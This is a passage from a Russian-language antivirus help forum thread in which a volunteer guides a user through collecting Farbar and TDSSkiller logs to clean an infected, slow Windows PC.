    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Сделайте лог МВАМ
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  17. #16
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    скачал,установил - не запускается. перезапустил комп, вылезло окно Безымянный5.png
    комп дико тормозит, задумываюсь о переустановки винды с полным форматированием...

  18. #17
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Пробуйте в безопасном режиме
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  19. #18
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    пробовал, не запускается и в безопасном

  20. #19
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Тогда еще раз логи Farbar и лог TDSSkiller сделайте. Лог TDSSkiller прикрепляйте к сообщению (найти его можно на диске С)
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  21. #20
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    скидываю логи с Farbar и TDSSkiller. После проверки TDSSkiller нашлось 2 подозрительных файла, он их вылечил, перезагрузил комп - установился аваст))) комп не тормозит, о в автозагрузках "start" остался....
    Вложения Вложения

Страница 1 из 2 12 Последняя

Похожие темы

  1. Дроппер
    От usrhlp в разделе Помогите!
    Ответов: 7
    Последнее сообщение: 05.01.2014, 20:41
  2. Возможно, сидит дроппер
    От TJDimas в разделе Помогите!
    Ответов: 3
    Последнее сообщение: 29.08.2009, 17:14
  3. какой-то дроппер Trojan.AuxSpy.10 мозг выносит :(
    От EugenVitla в разделе Помогите!
    Ответов: 4
    Последнее сообщение: 28.05.2009, 16:41
  4. Ответов: 2
    Последнее сообщение: 31.01.2008, 09:48
  5. Троян дроппер и просто вирус
    От ISO в разделе Помогите!
    Ответов: 7
    Последнее сообщение: 26.12.2006, 11:11

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00053 seconds with 17 queries